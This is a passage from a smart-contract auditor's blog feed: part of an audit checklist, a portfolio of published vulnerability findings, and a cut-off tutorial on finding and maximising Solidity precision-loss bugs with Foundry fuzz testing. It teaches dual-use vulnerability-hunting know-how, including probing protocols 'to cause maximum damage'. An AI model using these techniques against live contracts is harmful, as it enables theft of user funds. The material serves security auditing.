<li><p>when a snapshot is taken, can the order of function calls lead to an inconsistency between the "total" storage location and sum of individual user values?</p>
</li>
<li><p>can I change the "total" storage location without changing the individual storage locations perhaps through a creative attack vector?</p>
</li>
<li><p>can I call functions with a non-existent identifier, 0 or a custom address that I control and it doesn't revert but executes and returns &gt; 0 values?</p>
</li>
<li><p>what happens if I use really small values (even 1 wei)? Is there a rounding that occurs and can that be exploited?</p>
</li>
<li><p>are there gaps in the testing suite such as lack of integration tests between 2 important contracts, or very simplistic test cases of complicated processes? Focus on those areas and create more complicated test scenarios to probe the system into misbehaving.</p>
</li>
<li><p>does the test suite do anything different to the production code? Is the test suite calling functions that never get called in the protocol code?</p>
</li>
<li><p>once I have created a scenario where the system misbehaves, how can I leverage this to cause maximum damage?</p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Chainlink Oracle DeFi Attacks]]></title><description><![CDATA[Chainlink allows smart contract developers to receive a wide variety of off-chain data, with the most commonly used features being receiving off-chain randomness and getting off-chain pricing data. Integrating your smart contracts with Chainlink prov...]]></description><link>https://dacian.me/chainlink-oracle-defi-attacks</link><guid isPermaLink="true">https://dacian.me/chainlink-oracle-defi-attacks</guid><category><![CDATA[Smart Contracts]]></category><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Web3]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Mon, 07 Aug 2023 12:13:23 GMT</pubDate><content:encoded><![CDATA[<p><a target="_blank" href="https://chain.link/">Chainlink</a> allows smart contract developers to receive a wide variety of off-chain data, with the most commonly used features being receiving off-chain randomness and getting off-chain pricing data. Integrating your smart contracts with Chainlink provides a unique set of potential security vulnerabilities that attackers can exploit; here are the common vulnerabilities that smart contract developers &amp; auditors need to look out for.</p>
<p>Read the full article at <a target="_blank" href="https://medium.com/cyfrin/chainlink-oracle-defi-attacks-93b6cb6541bf">Chainlink Oracle DeFi Attacks</a>.</p>
]]></content:encoded></item><item><title><![CDATA[Smart Contract Auditor Portfolio]]></title><description><![CDATA[Dacian is the Audit Team Leader at cyfrin.io whose published Deep Dive security research is routinely shared on Twitter & in high-profile blockchain security newsletters such as BlockThreat [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]. Some of...]]></description><link>https://dacian.me/smart-contract-auditor-portfolio</link><guid isPermaLink="true">https://dacian.me/smart-contract-auditor-portfolio</guid><category><![CDATA[Smart Contracts]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[Web3]]></category><category><![CDATA[smart contract audit services]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Mon, 26 Jun 2023 05:05:46 GMT</pubDate><content:encoded><![CDATA[<p><a target="_blank" href="https://x.com/DevDacian">Dacian</a> is the Audit Team Leader at <a target="_blank" href="https://www.cyfrin.io/">cyfrin.io</a> whose published <a target="_blank" href="https://dacian.me/series/vulnerability-deep-dives">Deep Dive</a> security research is routinely shared on Twitter &amp; in high-profile blockchain security newsletters such as BlockThreat [<a target="_blank" href="https://newsletter.blockthreat.io/i/121265449/research">1</a>, <a target="_blank" href="https://newsletter.blockthreat.io/i/114008864/research">2</a>, <a target="_blank" href="https://newsletter.blockthreat.io/i/117918271/vulnerabilities">3</a>, <a target="_blank" href="https://newsletter.blockthreat.io/i/121240155/media">4</a>, <a target="_blank" href="https://newsletter.blockthreat.io/i/121265449/research">5</a>, <a target="_blank" href="https://newsletter.blockthreat.io/i/124903609/research">6</a>, <a target="_blank" href="https://newsletter.blockthreat.io/i/136226787/research">7</a>, <a target="_blank" href="https://newsletter.blockthreat.io/i/138881272/research">8</a>, <a target="_blank" href="https://newsletter.blockthreat.io/i/143896210/research">9</a>, <a target="_blank" href="https://newsletter.blockthreat.io/i/145362797/research">10</a>, <a target="_blank" href="https://newsletter.blockthreat.io/i/149644748/research">11</a>, <a target="_blank" href="https://newsletter.blockthreat.io/i/156072664/research">12</a>, <a target="_blank" href="https://newsletter.blockthreat.io/p/blockthreat-week-12-2025?open=false#%C2%A7research">13</a>, <a target="_blank" href="https://newsletter.blockthreat.io/i/168229385/research">14</a>, <a target="_blank" href="https://newsletter.blockthreat.io/i/168229385/tools">15</a>]. Some of Dacian's most notable security research publications include:</p>
<ul>
<li><p><a target="_blank" href="https://www.cyfrin.io/blog/vulnerabilities-in-permissioned-capital-market-smart-contract-protocols">Vulnerabilities In Permissioned Capital Market Protocols</a></p>
</li>
<li><p><a target="_blank" href="https://dacian.me/defi-liquidation-vulnerabilities">DeFi Liquidation Vulnerabilities</a></p>
</li>
<li><p><a target="_blank" href="https://dacian.me/solidity-inline-assembly-vulnerabilities">Solidity Inline Assembly Vulnerabilities</a></p>
</li>
<li><p><a target="_blank" href="https://dacian.me/find-highs-before-external-auditors-using-certora-formal-verification">Find Highs Using Certora Formal Verification</a></p>
</li>
<li><p><a target="_blank" href="https://dacian.me/find-highs-before-external-auditors-using-invariant-fuzz-testing">Find Highs Using Invariant Fuzz Testing</a></p>
</li>
<li><p><a target="_blank" href="https://dacian.me/dao-governance-defi-attacks">DAO Governance Vulnerabilities</a></p>
</li>
<li><p><a target="_blank" href="https://dacian.me/concentrated-liquidity-manager-vulnerabilities">Concentrated Liquidity Manager Vulnerabilities</a></p>
</li>
<li><p><a target="_blank" href="https://dacian.me/lending-borrowing-defi-attacks">Lending &amp; Borrowing Vulnerabilities</a></p>
</li>
<li><p><a target="_blank" href="https://dacian.me/defi-slippage-attacks">DeFi Slippage Vulnerabilities</a></p>
</li>
<li><p><a target="_blank" href="https://dacian.me/precision-loss-errors">Precision Loss Errors</a></p>
</li>
<li><p><a target="_blank" href="https://medium.com/cyfrin/chainlink-oracle-defi-attacks-93b6cb6541bf">Chainlink Oracle Security Considerations</a></p>
</li>
</ul>
<p>Dacian has presented on smart contract security at:</p>
<ul>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=AiNneURcxDw">ElectiSec Block 7 Guest Speaker - Auditing Heuristics, Business, Branding &amp; Marketing</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=Cqmu-mhSLt8">Fuzz Fest 2024 - Finding Highs Using Invariant Fuzz Testing &amp; Formal Verification</a></p>
</li>
<li><p>DeFi Security Summit 2024 - Workshop on Finding Highs Using Invariant Fuzz Testing (not recorded)</p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=IZTvXfC14Ig">Fuzzing &amp; Heuristics Interview With Patrick</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=5a2sEGWi7c4">OpenSense - How To Effectively Learn Smart Contract Auditing</a></p>
</li>
</ul>
<p>Dacian has led successful private audits for protocols such as <a target="_blank" href="https://github.com/Cyfrin/cyfrin-audit-reports/blob/main/reports/2024-01-10-cyfrin-wormhole-thermae-v2.1.pdf">Wormhole</a>, <a target="_blank" href="https://github.com/Cyfrin/cyfrin-audit-reports/blob/main/reports/2024-02-23-cyfrin-swell-barracuda-v2.0.pdf">Swell</a>, <a target="_blank" href="https://github.com/Cyfrin/cyfrin-audit-reports/blob/main/reports/2024-01-24-cyfrin-solidlyV3-v2.0.pdf">Solidly</a>, <a target="_blank" href="https://github.com/Cyfrin/cyfrin-audit-reports/blob/main/reports/2024-04-06-cyfrin-beefy-finance-v2.0.pdf">Beefy</a>, <a target="_blank" href="https://github.com/Cyfrin/cyfrin-audit-reports/blob/main/reports/2024-04-18-cyfrin-ondo-finance-v2.0.pdf">Ondo</a>, Linea [<a target="_blank" href="https://github.com/Cyfrin/cyfrin-audit-reports/blob/main/reports/2024-05-24-cyfrin-linea-v2.0.pdf">1</a>, <a target="_blank" href="https://github.com/Cyfrin/cyfrin-audit-reports/blob/main/reports/2025-01-06-cyfrin-linea-v2.2.pdf">2</a>], <a target="_blank" href="https://github.com/Cyfrin/cyfrin-audit-reports/blob/main/reports/2023-11-10-cyfrin-dexe-v2.0.pdf">DeXe</a> and for TradFi platforms such as <a target="_blank" href="https://www.kaio.xyz/">Kaio</a> and <a target="_blank" href="https://securitize.io/">Securitize</a>.</p>
<p>Dacian has earned a <a target="_blank" href="https://dacian.me/28k-bounty-admin-brick-forced-revert">$28,000 USD bug bounty</a> for discovering a vulnerability in a live smart contract that combined missing access control &amp; unchecked state transition vulnerabilities to permanently brick the contract admin, future token inflation &amp; staking rewards.</p>
<p>Dacian can identify a wide range of smart contract vulnerabilities; some of Dacian's publicly available findings include:</p>
<ul>
<li><p><a target="_blank" href="https://solodit.xyz/issues/impossible-to-liquidate-accounts-with-multiple-active-markets-as-liquidationbranchliquidateaccounts-reverts-due-to-corruption-of-ordering-in-tradingaccountactivemarketsids-cyfrin-none-cyfrinzaros-markdown">Trader can make themselves impossible to liquidate using multiple active markets to trigger liquidation revert due to corruption of ordering in <code>TradingAccount::activeMarketsIds</code></a></p>
</li>
<li><p><a target="_blank" href="https://solodit.xyz/issues/attacker-can-perform-a-risk-free-trade-to-mint-free-usdz-tokens-by-opening-then-quickly-closing-positions-for-markets-using-negative-makerfee-cyfrin-none-cyfrinzaros-markdown">Attacker can perform a risk-free trade to mint free USDz tokens by opening then quickly closing positions for markets using negative <code>makerFee</code></a></p>
</li>
<li><p><a target="_blank" href="https://solodit.xyz/issues/globalconfigurationremovecollateralfromliquidationpriority-corrupts-the-collateral-priority-order-resulting-in-incorrect-order-of-collateral-liquidation-cyfrin-none-cyfrinzaros-markdown"><code>GlobalConfiguration::removeCollateralFromLiquidationPriority</code> corrupts the collateral priority order resulting in incorrect order of collateral liquidation</a></p>
</li>
<li><p><a target="_blank" href="https://solodit.xyz/issues/trader-cant-reduce-open-position-size-when-under-initial-margin-requirement-but-over-maintenance-margin-requirement-cyfrin-none-cyfrinzaros-markdown">Trader can't reduce open position size when under initial margin requirement but over maintenance margin requirement</a></p>
</li>
<li><p><a target="_blank" href="https://solodit.xyz/issues/attacker-can-drain-protocol-tokens-by-sandwich-attacking-owner-call-to-setpositionwidth-and-unpause-to-force-redeployment-of-beefys-liquidity-into-an-unfavorable-range-cyfrin-none-cyfrin-beefy-finance-markdown">Attack can drain protocol tokens by sandwich attacking two onlyOwner functions to force redeployment of liquidity into an unfavorable range</a></p>
</li>
<li><p><a target="_blank" href="https://solodit.xyz/issues/polygon-chain-reorgs-will-change-mystery-box-tiers-which-can-be-gamed-by-validators-cyfrin-none-cyfrin-mode-earnm-markdown">Polygon chain reorgs will change mystery box tiers which can be gamed by validators</a></p>
</li>
<li><p><a target="_blank" href="https://solodit.xyz/issues/attacker-can-combine-flashloan-with-delegated-voting-to-decide-a-proposal-and-withdraw-their-tokens-while-the-proposal-is-still-in-locked-state-cyfrin-none-cyfrin-dexe-markdown">Attacker can combine flashloan with delegated voting to decide a proposal bypassing all flashloan protections</a></p>
</li>
<li><p><a target="_blank" href="https://solodit.xyz/issues/attacker-can-destroy-user-voting-power-by-setting-erc721powertotalpower-and-all-existing-nfts-currentpower-to-0-cyfrin-none-cyfrin-dexe-markdown">Attacker can destroy user voting power by setting <code>ERC721Power::totalPower</code> and all existing NFTs <code>currentPower</code> to 0</a></p>
</li>
<li><p><a target="_blank" href="https://solodit.xyz/issues/attacker-can-at-anytime-dramatically-lower-erc721powertotalpower-close-to-0-cyfrin-none-cyfrin-dexe-markdown">Attacker can at anytime dramatically lower <code>ERC721Power::totalPower</code> voting power close to 0</a></p>
</li>
<li><p><a target="_blank" href="https://solodit.xyz/issues/attacker-can-use-delegation-to-bypass-voting-restriction-to-vote-on-proposals-they-are-restricted-from-voting-on-cyfrin-none-cyfrin-dexe-markdown">Attacker can use delegation to bypass voting restriction to vote on proposals they are restricted from voting on</a></p>
</li>
<li><p><a target="_blank" href="https://solodit.xyz/issues/static-govuserkeeper_nftinfototalpowerintokens-used-in-quorum-denominator-can-incorrectly-make-it-impossible-to-reach-quorum-cyfrin-none-cyfrin-dexe-markdown">Static <code>GovUserKeeper::_nftInfo.totalPowerInTokens</code> used in quorum denominator can incorrectly make it impossible to reach quorum</a></p>
</li>
<li><p><a target="_blank" href="https://solodit.xyz/issues/attacker-can-bypass-token-sale-maxallocationperuser-restriction-to-buy-out-the-entire-tier-cyfrin-none-cyfrin-dexe-markdown">Attacker can bypass token sale <code>maxAllocationPerUser</code> restriction to buy out the entire tier</a></p>
</li>
<li><p><a target="_blank" href="https://solodit.xyz/issues/delegators-incorrectly-receive-less-rewards-for-longer-proposals-with-multiple-delegations-cyfrin-none-cyfrin-dexe-markdown">Delegators incorrectly receive less rewards for longer proposals with multiple delegations</a></p>
</li>
<li><p><a target="_blank" href="https://solodit.xyz/issues/delegators-incorrectly-receive-less-rewards-for-longer-proposals-with-multiple-delegations-cyfrin-none-cyfrin-dexe-markdown"><code>DistributionProposal</code> 'for' voter rewards diluted by 'against' voters and missing rewards permanently stuck in <code>DistributionProposal</code> contract</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/Cyfrin/2023-08-sparkn/issues/306">Signature replay against different reward pool for same organizer/contest as signature digest missing implementation parameter</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/code-423n4/2023-06-lybra-findings/issues/344">Attacker can mint free tokens by exploiting rounding down to zero precision loss</a></p>
</li>
<li><p><a target="_blank" href="https://code4rena.com/reports/2023-05-venus#m-15-borrow-rate-calculation-can-cause-vtokenaccrueinterest-to-revert-dosing-all-major-functionality">Borrow rate calculation can DoS all major functionality</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/sherlock-audit/2023-03-teller-judging/issues/92">Lender can take borrower's collateral before first payment is due</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/sherlock-audit/2023-04-blueberry-judging/issues/4">Borrower can't repay but can be liquidated as token whitelist can prevent existing positions from repaying</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/sherlock-audit/2023-06-dinari-judging/issues/7">Trading fees should round up in favor of the protocol to prevent value from constantly leaking to traders</a></p>
</li>
</ul>
<p><a target="_blank" href="https://x.com/DevDacian">Dacian</a> can be contacted via DM's.</p>
]]></content:encoded></item><item><title><![CDATA[Exploiting Precision Loss via Fuzz Testing]]></title><description><![CDATA[Solidity uses fixed-point arithmetic so Division Before Multiplication can result in precision loss errors due to rounding. Numbers in solidity also need to be scaled into the same precision before being combined. Most Solidity developers are aware o...]]></description><link>https://dacian.me/exploiting-precision-loss-via-fuzz-testing</link><guid isPermaLink="true">https://dacian.me/exploiting-precision-loss-via-fuzz-testing</guid><category><![CDATA[Smart Contracts]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[Web3]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Thu, 25 May 2023 14:56:41 GMT</pubDate><content:encoded><![CDATA[<p>Solidity uses <a target="_blank" href="https://en.wikipedia.org/wiki/Fixed-point_arithmetic">fixed-point arithmetic</a> so <a target="_blank" href="https://dacian.me/precision-loss-errors#heading-division-before-multiplication">Division Before Multiplication</a> can result in precision loss errors due to rounding. Numbers in solidity also need to be <a target="_blank" href="https://dacian.me/precision-loss-errors#heading-no-precision-scaling">scaled</a> into the same precision before being combined. Most Solidity developers are aware of these requirements so it is rare to find surface-level precision loss vulnerabilities, but for the discerning auditor it is very possible to find hidden precision loss vulnerabilities.</p>
<p>Hidden precision loss vulnerabilities can occur in modular smart contract projects where numbers are manipulated and passed between functions, contracts &amp; libraries. Using a real-world example from Sherlock's recent <a target="_blank" href="https://app.sherlock.xyz/audits/contests/82">USSD audit contest</a>, this article will highlight techniques used by elite <a target="_blank" href="https://www.cyfrin.io/">smart contract auditors</a> to find &amp; maximize hidden precision loss vulnerabilities.</p>
<h3 id="heading-expand-function-calls-andamp-variables-in-equations">Expand Function Calls &amp; Variables in Equations</h3>
<p>Decentralized Finance (DeFi) often features equations implemented into Solidity code. The eyes of novice auditors glaze over lines of code implementing mathematical equations, but experienced auditors use a specific technique for analyzing these: manually expanding the function calls &amp; variables in an equation to expose hidden division before multiplication. Let's consider a simple example from <a target="_blank" href="https://github.com/sherlock-audit/2023-05-USSD/blob/main/ussd-contracts/contracts/USSDRebalancer.sol#L109-L112">USSDRebalancer.BuyUSSDSellCollateral()</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">BuyUSSDSellCollateral</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amountToBuy</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
  CollateralInfo[] <span class="hljs-keyword">memory</span> collateral <span class="hljs-operator">=</span> IUSSD(USSD).collateralList();
  <span class="hljs-keyword">uint</span> amountToBuyLeftUSD <span class="hljs-operator">=</span> amountToBuy <span class="hljs-operator">*</span> <span class="hljs-number">1e12</span>;
</code></pre>
<p>This code looks innocent enough; <em>amountToBuy</em> is passed as input then multiplied, what could go wrong? Using the technique of expanding out variables in equations, we find the <a target="_blank" href="https://github.com/sherlock-audit/2023-05-USSD/blob/main/ussd-contracts/contracts/USSDRebalancer.sol#L83-L97">source</a> of <em>amountToBuy</em>:</p>
<pre><code class="lang-solidity">    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getSupplyProportion</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span>, <span class="hljs-keyword">uint256</span></span>) </span>{
      <span class="hljs-keyword">uint256</span> vol1 <span class="hljs-operator">=</span> IERC20Upgradeable(uniPool.token0()).balanceOf(<span class="hljs-keyword">address</span>(uniPool));
      <span class="hljs-keyword">uint256</span> vol2 <span class="hljs-operator">=</span> IERC20Upgradeable(uniPool.token1()).balanceOf(<span class="hljs-keyword">address</span>(uniPool));
      <span class="hljs-keyword">if</span> (uniPool.token0() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> USSD) {
        <span class="hljs-keyword">return</span> (vol1, vol2);
      }
      <span class="hljs-keyword">return</span> (vol2, vol1);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">rebalance</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
      <span class="hljs-keyword">uint256</span> ownval <span class="hljs-operator">=</span> getOwnValuation();
      (<span class="hljs-keyword">uint256</span> USSDamount, <span class="hljs-keyword">uint256</span> DAIamount) <span class="hljs-operator">=</span> getSupplyProportion();
      <span class="hljs-keyword">if</span> (ownval <span class="hljs-operator">&lt;</span> <span class="hljs-number">1e6</span> <span class="hljs-operator">-</span> threshold) {
        <span class="hljs-comment">// @audit amountToBuy is the parameter of this call</span>
        BuyUSSDSellCollateral((USSDamount <span class="hljs-operator">-</span> DAIamount <span class="hljs-operator">/</span> <span class="hljs-number">1e12</span>)<span class="hljs-operator">/</span><span class="hljs-number">2</span>);
</code></pre>
<p>Then we expand the definition of <em>amountToBuyLeftUSD</em> using the definition of <em>amountToBuy</em>:</p>
<pre><code class="lang-solidity">amountToBuyLeftUSD <span class="hljs-operator">=</span> amountToBuy <span class="hljs-operator">*</span> <span class="hljs-number">1e12</span>;
amountToBuyLeftUSD <span class="hljs-operator">=</span> ((USSDamount <span class="hljs-operator">-</span> DAIamount <span class="hljs-operator">/</span> <span class="hljs-number">1e12</span>)<span class="hljs-operator">/</span><span class="hljs-number">2</span>) <span class="hljs-operator">*</span> <span class="hljs-number">1e12</span>;
</code></pre>
<p>Now the possible precision loss which was hidden behind function calls and variable definitions becomes apparent: <em>amountToBuy</em> which was previously divided by 2 is then multiplied again and the result is stored in <em>amountToBuyLeftUSD</em>, resulting in a potential precision loss due to division before multiplication.</p>
<p>How can we be certain that a precision loss occurs here, and once established, how can we maximize this finding?</p>
<h3 id="heading-simplify-expanded-equations">Simplify Expanded Equations</h3>
<p>Once we have the expanded equation, our next step is to simplify it to remove the division before multiplication and obtain a simplified "correct" form that we can test against:</p>
<pre><code class="lang-solidity">amountToBuyLeftUSD <span class="hljs-operator">=</span> ((USSDamount <span class="hljs-operator">-</span> DAIamount <span class="hljs-operator">/</span> <span class="hljs-number">1e12</span>)<span class="hljs-operator">/</span><span class="hljs-number">2</span>) <span class="hljs-operator">*</span> <span class="hljs-number">1e12</span>;
                   <span class="hljs-comment">// @audit /2 * 1e12 can be rewritten as * 1e12 / 2,</span>
                   <span class="hljs-comment">// removes division before multiplication, solving                    </span>
                   <span class="hljs-comment">// precision loss</span>
                   <span class="hljs-operator">=</span> (USSDamount <span class="hljs-operator">-</span> DAIamount <span class="hljs-operator">/</span> <span class="hljs-number">1e12</span>) <span class="hljs-operator">*</span> <span class="hljs-number">1e12</span> <span class="hljs-operator">/</span> <span class="hljs-number">2</span>;
</code></pre>
<h3 id="heading-create-contract-with-original-andamp-simplified-equations">Create Contract With Original &amp; Simplified Equations</h3>
<p>Then we want to create a simple contract <em>src/PrecisionLoss.sol</em> that implements both the original &amp; the simplified version of the equations:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PrecisionLoss</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ussdOriginalAmountToBuy</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> ussdAmount, <span class="hljs-keyword">uint</span> daiAmount</span>) 
        <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-comment">// @audit /2 * 1e12 division before multiplication</span>
        <span class="hljs-comment">// causes precision loss</span>
        <span class="hljs-keyword">return</span> (ussdAmount <span class="hljs-operator">-</span> daiAmount <span class="hljs-operator">/</span> <span class="hljs-number">1e12</span>)<span class="hljs-operator">/</span><span class="hljs-number">2</span> <span class="hljs-operator">*</span> <span class="hljs-number">1e12</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ussdSimplifiedAmountToBuy</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> ussdAmount, <span class="hljs-keyword">uint</span> daiAmount</span>) 
        <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{        
        <span class="hljs-comment">// @audit /2 * 1e12 can be rewritten as * 1e12 / 2,</span>
        <span class="hljs-comment">// removes division before multiplication, solving precision </span>
        <span class="hljs-comment">// loss</span>
        <span class="hljs-keyword">return</span> (ussdAmount <span class="hljs-operator">-</span> daiAmount <span class="hljs-operator">/</span> <span class="hljs-number">1e12</span>) <span class="hljs-operator">*</span> <span class="hljs-number">1e12</span> <span class="hljs-operator">/</span> <span class="hljs-number">2</span>;
    }
}
</code></pre>
<h3 id="heading-use-foundry-invariant-fuzz-test-on-both-equations">Use Foundry Invariant Fuzz Test On Both Equations</h3>
<p>Next we want to use <a target="_blank" href="https://book.getfoundry.sh/forge/invariant-testing">Foundry's Invariant Fuzz Testing</a> to:</p>
<ol>
<li><p>detect if there actually is precision loss between the two equations,</p>
</li>
<li><p>if so, maximize/optimize the input parameters required to exploit it,</p>
</li>
<li><p>we especially want to hunt for a set of inputs where the original equation will equal 0 but the simplified equation will be greater than 0, as this is usually a more damaging form of precision loss.</p>
</li>
</ol>
<h3 id="heading-create-the-fuzz-testing-handler">Create The Fuzz Testing Handler</h3>
<p>First we'll create a handler <em>test/InvariantPrecisionLossHandler.sol</em>. This will take as input the <em>PrecisionLoss</em> contract we've previously created and implement a fuzz testing function that will:</p>
<ol>
<li><p>define the range of inputs we want to test,</p>
</li>
<li><p>call the original &amp; simplified functions in the contract we've previously created,</p>
</li>
<li><p>contain some logic to optimize the findings for parameters we are interested in to maximize the finding:</p>
</li>
</ol>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">PrecisionLoss</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../src/PrecisionLoss.sol"</span>;

<span class="hljs-keyword">import</span> {<span class="hljs-title">console2</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/console2.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">CommonBase</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Base.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">StdUtils</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/StdUtils.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">InvariantPrecisionLossHandler</span> <span class="hljs-keyword">is</span> <span class="hljs-title">CommonBase</span>, <span class="hljs-title">StdUtils</span> </span>{
    <span class="hljs-comment">// real contract being tested</span>
    PrecisionLoss <span class="hljs-keyword">internal</span> _underlying;

    <span class="hljs-comment">// invariant variables, set to 1 as the invariant will</span>
    <span class="hljs-comment">// be errorOutput != 0, so don't want it to fail immediately </span>
    <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> originalOutput   <span class="hljs-operator">=</span> <span class="hljs-number">1</span>;
    <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> simplifiedOutput <span class="hljs-operator">=</span> <span class="hljs-number">1</span>;

    <span class="hljs-comment">// optimized finding variables</span>
    <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> maxPrecisionLoss;
    <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> mplUssdAmount;
    <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> mplDaiAmount;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">PrecisionLoss underlying</span>) </span>{
        _underlying <span class="hljs-operator">=</span> underlying;
    }

    <span class="hljs-comment">// function that will be called during invariant fuzz tests</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ussdAmountToBuy</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> uusdAmount, <span class="hljs-keyword">uint</span> daiAmount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-comment">// constrain inputs between $1 &amp; $1B in their respective </span>
        <span class="hljs-comment">// precision ranges</span>
        uusdAmount <span class="hljs-operator">=</span> bound(uusdAmount, <span class="hljs-number">1e6</span> , <span class="hljs-number">1000000000e6</span> );
        daiAmount  <span class="hljs-operator">=</span> bound(daiAmount , <span class="hljs-number">1e18</span>, <span class="hljs-number">1000000000e18</span>);

        <span class="hljs-comment">// requirement of the functions being tested</span>
        vm.assume(uusdAmount <span class="hljs-operator">&gt;</span> daiAmount<span class="hljs-operator">/</span><span class="hljs-number">1e12</span>);

        <span class="hljs-comment">// run both original &amp; simplified functions</span>
        originalOutput   <span class="hljs-operator">=</span> _underlying.ussdOriginalAmountToBuy(uusdAmount, daiAmount);
        simplifiedOutput <span class="hljs-operator">=</span> _underlying.ussdSimplifiedAmountToBuy(uusdAmount, daiAmount);

        <span class="hljs-comment">// find the difference in precision loss</span>
        <span class="hljs-keyword">uint</span> precisionLoss <span class="hljs-operator">=</span> simplifiedOutput <span class="hljs-operator">-</span> originalOutput;

        <span class="hljs-comment">//</span>
        <span class="hljs-comment">// if this run produced greater precision loss than all </span>
        <span class="hljs-comment">// previous, or if the precision loss was the same AND </span>
        <span class="hljs-comment">// originalOutput == 0 AND simplifiedOutput &gt; 0, then save it </span>
        <span class="hljs-comment">// &amp; its inputs</span>
        <span class="hljs-comment">//</span>
        <span class="hljs-comment">// we are really interested in seeing if we can reach a state</span>
        <span class="hljs-comment">// where originalOutput == 0 &amp;&amp; simplifiedOutput &gt; 0 as this </span>
        <span class="hljs-comment">// is a more damaging form of precision loss</span>
        <span class="hljs-comment">//</span>
        <span class="hljs-comment">// could also optimize for lowest uusdAmount &amp; daiAmount </span>
        <span class="hljs-comment">// required to produce the precision loss.</span>
        <span class="hljs-comment">//</span>
        <span class="hljs-keyword">if</span>(precisionLoss <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>) {
            <span class="hljs-keyword">if</span>(precisionLoss <span class="hljs-operator">&gt;</span> maxPrecisionLoss <span class="hljs-operator">|</span><span class="hljs-operator">|</span> 
                (precisionLoss <span class="hljs-operator">=</span><span class="hljs-operator">=</span> maxPrecisionLoss 
              <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> originalOutput <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> simplifiedOutput <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>)) {
                maxPrecisionLoss <span class="hljs-operator">=</span> precisionLoss;
                mplUssdAmount    <span class="hljs-operator">=</span> uusdAmount;
                mplDaiAmount     <span class="hljs-operator">=</span> daiAmount;

                console2.log(<span class="hljs-string">"originalOutput   : "</span>, originalOutput);
                console2.log(<span class="hljs-string">"simplifiedOutput : "</span>, simplifiedOutput);
                console2.log(<span class="hljs-string">"maxPrecisionLoss : "</span>, maxPrecisionLoss);
                console2.log(<span class="hljs-string">"mplUssdAmount    : "</span>, mplUssdAmount);
